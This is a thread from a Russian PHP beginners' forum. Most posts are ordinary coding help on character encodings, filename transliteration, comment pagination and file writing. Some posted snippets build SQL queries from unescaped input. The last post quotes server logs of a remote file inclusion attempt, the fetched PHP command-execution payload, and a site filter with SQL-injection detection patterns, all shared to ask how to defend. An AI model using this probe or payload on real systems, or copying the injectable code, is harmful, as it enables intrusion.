[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    Попробуй просто utf или unicode
     
  2. ntldr

    ntldr Elder - Старейшина

    Joined:
    4 Dec 2007
    Messages:
    367
    Likes Received:
    140
    Reputations:
    23
    пробовал! вообще майкрософт бредовые прогеры
     
  3. Frize

    Frize New Member

    Joined:
    8 Nov 2008
    Messages:
    44
    Likes Received:
    1
    Reputations:
    0
    пробуй KOI8-U
     
  4. ntldr

    ntldr Elder - Старейшина

    Joined:
    4 Dec 2007
    Messages:
    367
    Likes Received:
    140
    Reputations:
    23
    я понял, кодировка этого файла такая:
    UCS-2 Little Endian
    и как это будет в iconv выглядеть?
     
  5. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    с iconv:

    PHP:
    $str=iconv("UCS-2""UTF-8"$str);
    без iconv:

    PHP:
    function ucs2_to_utf8($s$type 'BE'$to_array false)  
    {  
        static 
    $types = array(  
            
    'BE' => 'n',  #unsigned short (always 16 bit, big endian byte order)  
            
    'LE' => 'v',  #unsigned short (always 16 bit, little endian byte order)  
        
    );  
        if (! 
    array_key_exists($type$types))  
        {  
            
    trigger_error('Unexpected value in second parameter, "' $type '" given!'E_USER_WARNING);  
            return 
    false;  
        }  
        
    $a = array();  
        foreach (
    unpack($types[$type] . '*'$s) as $c)  
        {  
            if (
    $c 0x80$a[] = chr($c);  
            elseif (
    $c 0x800$a[] = chr(0xC0   ($c >> 6)) . chr(0x80   ($c 0x3F));  
            else 
    $a[] = chr(0xE0   ($c >> 12)) . chr(0x80   (0x3F & ($c >> 6))) . chr(0x80   ($c 0x3F));  
        }  
        return 
    $to_array $a implode(''$a);  
    }  
     
    1 person likes this.
  6. ntldr

    ntldr Elder - Старейшина

    Joined:
    4 Dec 2007
    Messages:
    367
    Likes Received:
    140
    Reputations:
    23
    а там нет случайно вот такого типа без iconv только наоборот? потому что мне как раз надо получить текст в UCS-2 LE. а в iconv нельзя выбрать тип
     
  7. Vinsik

    Vinsik Elder - Старейшина

    Joined:
    4 Oct 2008
    Messages:
    189
    Likes Received:
    4
    Reputations:
    -5
    Ребят, че такое, вроде все правильно, файлы не до конца переименовывает.
    PHP:
    $ru=array("&","а","#","б","в"," ","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я");
             
    $tr=array("_","a","_","b","v","_","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja");

                
    $attach_name substr($_FILES['attached']['name'], 0strrpos($_FILES['attached']['name'], '.'));
    Вот весь код
    PHP:
    <?


        include(
    "include/common.php");
        
        if(
    $loggedin){
            include(
    "include/accmenu.php");
        }
        if( 
    $_POST['submit'] && $_FILES['attached']['name'] ){
            
    $ok_filetypes explode("|",$att_filetypes);
            if (!
    $_FILES['attached']['error'] && $_FILES['attached']['size'] > $att_max_size*1024){
                
    errform('<CENTER>Извините, слишком большой размер файла!</CENTER><BR><BR>'); // #err
                
    $step 1;
            }
            
    $filename = (!$_FILES['attached']['error'] ? substrbasename($_FILES['attached']['name']), -30 ) : '');
            
    $x strtolowersubstr($_FILES['attached']['name'], -3));
            if(
    $filename && !in_array($x$ok_filetypes) ){
                
    errform('<CENTER>Не поддерживаемый тип файла!!!</CENTER><BR><BR>');
                
    $step 1;
            }
            if(!
    $posterr){
                if(!isset(
    $_GET["ipaddress"]) || ($_GET["ipaddress"] == "")) {
                    
    $ipaddress $_SERVER['REMOTE_ADDR'];
                    
    $local 1;
                } else {
                    
    $ipaddress $_GET["ipaddress"];
                    
    $local 0;
                }
        

             
    $ru=array("&","а","#","б","в"," ","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я");
             
    $tr=array("_","a","_","b","v","_","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja");

                
    $attach_name substr($_FILES['attached']['name'], 0strrpos($_FILES['attached']['name'], '.'));
             
    $uniq strtolower(str_replace($ru,$tr,$attach_name));
             
    $ext substr($_FILES['attached']['name'], strrpos($_FILES['attached']['name'], '.') + 1);

             if (
    file_exists($att_path."/".$uniq.".".$ext)) $uniq $uniq '(copy)';

                
    move_uploaded_file($_FILES['attached']['tmp_name'], $att_path."/".$uniq.".".$ext );
                
    $strQuery  "INSERT INTO images25 SET ";
                  
    $strQuery .= "filename='($uniq.$ext)',"
                    
    $strQuery .= "ipaddress='{$ipaddress}',";
                    
    $strQuery .= "date='".time()."',";
                if(
    $myuid){
                    
    $strQuery .= "user='{$myuid}',";
                }
                
    $strQuery .= "status='1'";

                
    $result mysql_query($strQuery) or die( mysql_error() );
                
    $aid mysql_insert_id();
                if(
    $aid){
                    
    $filen $siteurl."/".str_replace('./'''$att_path)."/".$uniq.".$ext";
                    
    $filen str_replace('http://','%%',$filen);
                    
    $filen str_replace('//','/',$filen);
                    
    $filen str_replace('%%','http://',$filen);

                    
                    
    //ITS AN IMAGE
                    
    if($x=="jpg" or $x=="jpeg" or $x=="gif" or $x=="png" or $x=="jif" or $x=="jfif")
                    {
                        
    $filenx=$filen;
                    }
                    else
                    {
                        include(
    "include/const.inc.php");
                        
    $filenx $siteurl."/icons/".$Icons[$ext];
                    }


                    
    $step 2;
                }else{
                    
    $step 1;
                }
            }
        }else{
            
    $step 1;
        }
        if(
    $step == 1){


        
    ?>
    Что такое немогу понять( Помогите кто может(
    Файл загружается но не переименновываеца до конца( остаюца русские буквы. :confused:
     
  8. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    ну тут не сложно самому написать, переводишь всё в хекс и потом по массиву прогоняешь, вот табличка:

    http://stuffofinterest.com/misc/utf8.php?s=128

    вот какой-то пример с http://php.off.co.il/manual/fr/function.iconv.php

    PHP:
    Here is how to convert UTF-8 numbers to UCS-2 numbers in hex:

    <?php
     
    function utf8toucs2($str)
    {
           for (
    $i=0;$i<strlen($str);$i+=2)
           {
                    
    $substring1 $str[$i].$str[$i+1];  
                    
    $substring2 $str[$i+2].$str[$i+3]; 
                   
                    if (
    hexdec($substring1) < 127)
                            
    $results "00".$str[$i].$str[$i+1];
                    else
                    {
                            
    $results dechex((hexdec($substring1)-192)*64 + (hexdec($substring2)-128));
                            if (
    $results 1000$results "0".$results
                            
    $i+=2;
                    }
                    
    $ucs2 .= $results;
            }
            return 
    $ucs2;
    }
     
    echo 
    strtoupper(utf8toucs2("D985D8B1D8AD"))."\n";
    echo 
    strtoupper(utf8toucs2("456725"))."\n";
     
    ?>

    Input:
    D985D8B1D8AD
    Output:
    06450631062D

    Input:
    456725
    Output:
    004500670025
    ну тут в хексах, дальше просто сопоставить
     
    #8568 Pashkela, 19 Feb 2009
    Last edited: 19 Feb 2009
  9. -=Static=-

    -=Static=- Banned

    Joined:
    12 Nov 2006
    Messages:
    201
    Likes Received:
    40
    Reputations:
    0
    Vinsik, у тебя strtolower() не преобразует большие буквы, там какой-то косяк из-за локали, я делал и большие и маленькие.

    С php.net:
     
  10. Vinsik

    Vinsik Elder - Старейшина

    Joined:
    4 Oct 2008
    Messages:
    189
    Likes Received:
    4
    Reputations:
    -5
    так что мне делать? Как прально написать?
     
  11. -=Static=-

    -=Static=- Banned

    Joined:
    12 Nov 2006
    Messages:
    201
    Likes Received:
    40
    Reputations:
    0
    Как вариант сдалать так:
    PHP:
        $ru=array("&","#"," ","а","б","в","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я","А","Б","В","Г","Д","Е","Ё","Ж","З","И","Й","К","Л","М","Н","О","П","Р","С","Т","У","Ф","Х","Ц","Ч","Ш","Щ","Ъ","Ы","Ь","Э","Ю","Я"); 
        
    $tr=array("_","_","_","a","b","v","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja","a","b","v","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja");
    Или переопределить strtolower()
     
    1 person likes this.
  12. Vinsik

    Vinsik Elder - Старейшина

    Joined:
    4 Oct 2008
    Messages:
    189
    Likes Received:
    4
    Reputations:
    -5
    спс!!!!
     
  13. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    У меня выводит по 5 сообщений на одну страницу

    но проблема что если еще добавить сообщение

    после 5 сразу линк непоказывает

    как сделать что показывало ?


    PHP:
     // выбор коментарий
       
    function selcoment($id,$cst)
       {
         
       global 
    $cpages;
       global 
    $cst;
      
       
    $cpages 5;
         if(
    $cst == ""$cst 1;
         
    $cstl = ($cst 1)*$cpages;
       
         
       
    connect(); 
    $q="select user.name, coment.id ,
    coment.text,coment.date from coment,
    page,user where coment.pid = page.id
    and page.id=
    $id and user.userid = coment.userid limit $cstl,$cpages";
    return  
    $at mysql_query($q);  
    query_set($at);
       }     

    //вывод коментарий  
    function newcomentnav($morid)
    {
     
    $q ="select count(*) from coment,page where coment.pid = page.id
    and page.id=
    $morid";  
    $rc mysql_query($q);
    $total mysql_result($rc,0);
    $pnumber $GLOBALS['cpages'];
     
    $number = (int)($total/$pnumber) ;
     
    if( (float)(
    $total/$pnumber)- $number  != 0)
    $number++;

    for(
    $i =$i $number ;$i++)
    {
     if(
    $number == $i)
     {
      if(
    $page == $i)
      
      echo 
    ".(($i-1)*$pnumber+1)."-".$total.";
      else 
      echo 
    "<a href=?page&readmore=$morid&allc=".$i.">[".(($i-1)*$pnumber+1)."-".$total."]</a> "
         
     }
     
     else {
         if(
    $page == $i)
         echo 
    ".(($i-1)*$pnumber+1)."-".$i*$pnumber."
         else
         echo 
    "<a href=?page&readmore=$morid&allc=".$i.">[".(($i-1)* $pnumber 1)."-".$i*$pnumber."]</a> "
     } 
    }
    }

     
  14. gOsToFf

    gOsToFf New Member

    Joined:
    22 Aug 2007
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    У меня несколько вопросов. Прошу помощи у знатоков.
    1) Форма просто с кнопкой. Типа ОБНОВИТЬ которая передает переменную POST этой же странице... без инпутов и т.д. Работа аналогично F5.
    2) PHP разбивка. Я получаю тект из <input в виде текста. И записываю в базу. но так как база не резиновая а текстовые файлы будет в данном случае не надежно мне надо чтобы они разбивались на предел ячейки базы тоесть 255 символов. Проще. Я получил переменну 1000символов. и делаю из нее 4 text1 text2 text3 text4 и записываю в соответствующие ячейки базы.
    ЗЫ: спасибо за помощ зарание.
     
    #8574 gOsToFf, 19 Feb 2009
    Last edited: 19 Feb 2009
  15. Frize

    Frize New Member

    Joined:
    8 Nov 2008
    Messages:
    44
    Likes Received:
    1
    Reputations:
    0
    как сдесь сделать что бы текст добавлялся таким видом
    1) текст
    2) текст2
    3) текст3
    ??
     
  16. aciiD

    aciiD Elder - Старейшина

    Joined:
    23 Feb 2008
    Messages:
    30
    Likes Received:
    8
    Reputations:
    3
    подскажите тупому что нужно сделать чтоб брут на php работал ???
     
  17. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    '

    сам понял, чо спросил? Где в твоём примере

    1) текст
    2) текст2
    3) текст3

    ????

    PHP:
    <?php

    $text1 
    "1) текст";
    $text2 "2) текст2";
    $text3 "3) текст3";

    $fp fopen("counter.txt""a"); // Открываем файл в режиме  ДОБАВЛЕНИЯ записи в конец файла
    if ($fp) { //Проверяем, что файл открылся на ДОБАВЛЕНИЕ ЗАПИСЕЙ
       
    fwrite($fp$text1 "\r\n"); // Запись в файл
       
    fwrite($fp$text2 "\r\n"); // Запись в файл
       
    fwrite($fp$text3 "\r\n"); // Запись в файл
    }
    fclose($fp); //Закрытие файла

    ?>
     
  18. Frize

    Frize New Member

    Joined:
    8 Nov 2008
    Messages:
    44
    Likes Received:
    1
    Reputations:
    0
    да тупанул)
    возможно тут сделать? что бы он автоматически добавлял, не вписывая. например че нить такого 1=>100
    1) текст
    2) текст2
    3) текст3
     
    #8578 Frize, 20 Feb 2009
    Last edited: 20 Feb 2009
  19. Shadow_p1raT

    Shadow_p1raT Elder - Старейшина

    Joined:
    9 Mar 2008
    Messages:
    174
    Likes Received:
    93
    Reputations:
    0
    PHP:
    function test($_POST){
    {
        
    $fp fopen("counter.txt""a"); // Открываем файл в режиме записи
        
    foreach($_POST as $key=>$value) {
            
    fwrite($fp,$value."\r\n");
        }
         
    fclose($fp);
    }
    Frize,это?
     
  20. spamoney

    spamoney Elder - Старейшина

    Joined:
    26 Dec 2006
    Messages:
    120
    Likes Received:
    7
    Reputations:
    1
    Всем, добрый день! Такой вопрос:
    В логах безопасности сайта (в раделе динамических ошибок), нередко появляются следующие записи:

    Code:
    WARNING: urldecode() expects parameter 1 to be string, array given Line: 178 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
    Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
    
    WARNING: preg_match() expects parameter 2 to be string, array given Line: 178 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
    Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
    Дата размещения: 20.02.09 - 03:51:50
    
    WARNING: base64_decode() expects parameter 1 to be string, array given Line: 183 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
    Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
    Дата размещения: 20.02.09 - 03:51:50
    Перейдя по адресу: http://www.igrawm.net.ru/404.txt?

    Видим следующий код:

    Code:
    <?php
    echo "Mic22";
    $cmd="id";
    $eseguicmd=ex($cmd);
    echo $eseguicmd;
    function ex($cfe){
    $res = '';
    if (!empty($cfe)){
    if(function_exists('exec')){
    @exec($cfe,$res);
    $res = join("\n",$res);
    }
    elseif(function_exists('shell_exec')){
    $res = @shell_exec($cfe);
    }
    elseif(function_exists('system')){
    @ob_start();
    @system($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
    }
    elseif(function_exists('passthru')){
    @ob_start();
    @passthru($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
    }
    elseif(@is_resource($f = @popen($cfe,"r"))){
    $res = "";
    while(!@feof($f)) { $res .= @fread($f,1024); }
    @pclose($f);
    }}
    return $res;
    }
    exit;
    
    Как я понимаю сайт пытаются взломать/проверить на какую-то уязвимость, насколько это опасно и можно ли с этим как-то бороться?


    P.S
    Вот код файла security.php с 177 по 188 строки:

    Code:
    	foreach ($_GET as $var_name=>$var_value) {
    		if (preg_match("/<.*?(script|body|object|iframe|applet|meta|style|form|img|onmouseover).*?>/i", urldecode($var_value)) || preg_match("/\([^>]*\"?[^)]*\)/", $var_value) || preg_match("/\"|\'/", $var_value)) warn_report("HTML in GET - ".$var_name." = ". $var_value."");
    		if ($security_url_get == 1) {
    			if (preg_match("/^(http\:\/\/|ftp\:\/\/|\/\/|https:\/\/|php:\/\/|\/\/)/i", $var_value)) warn_report("URL in GET - ".$var_name." = ". $var_value);
    		}
    		$security_string = "/UNION|OUTFILE|SELECT|ALTER|INSERT|DROP|".$prefix."_admins|".$prefix."_users|ModAdmin|SaveAdmin|EditAdmin|DelAdmin/i";
    		$security_decode = base64_decode($var_value);
    		if (preg_match($security_string, $security_decode)) hack_report("Hack base64 in GET - ".$var_name." = ". $var_value."");
    		if (preg_match($security_string, $var_value)) hack_report("Hack in GET - ".$var_name." = ". $var_value."");
    		$security_slash = preg_replace("/\/\*.*?\*\//", "", $var_value);
    		if (preg_match($security_string, $security_slash)) hack_report("Hack in GET - ".$var_name." = ". $var_value."");
    	}
    
     
Thread Status:
Not open for further replies.